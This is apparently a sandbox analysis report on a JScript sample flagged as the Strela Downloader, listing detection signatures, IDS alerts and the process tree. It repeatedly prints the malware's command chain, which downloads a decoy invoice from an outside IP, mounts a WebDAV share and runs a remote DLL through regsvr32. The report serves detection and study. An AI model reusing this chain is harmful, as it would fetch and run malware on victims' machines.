Edit tour

Windows Analysis Report
22346161431640618987.js

Overview

General Information

Sample name:	22346161431640618987.js
Analysis ID:	1588567
MD5:	65c87845197ce8e581becb90d238ac1f
SHA1:	de859872d4db57b84f30c5ee82cbb92925b579a6
SHA256:	cbba9523e5d848e4eb97e24ef7f2c541e2a7f6fc2cae61d1e64972ec37ef98cc
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2060 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5924 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6400 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4936 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,9541411069191767408,10913797833195117777,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4884 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4912 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3524 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2060	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6400, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6400, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", ProcessId: 2060, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4912, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 5924, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 5924, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 5924, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 5924, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 5924, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", ProcessId: 2060, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6400, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4884, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4912, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3524, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4884, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4912, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 5924, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:29:45.312867+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:29:47.579207+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:29:45.312867+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 22346161431640618987.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 22346161431640618987.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:29:45 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

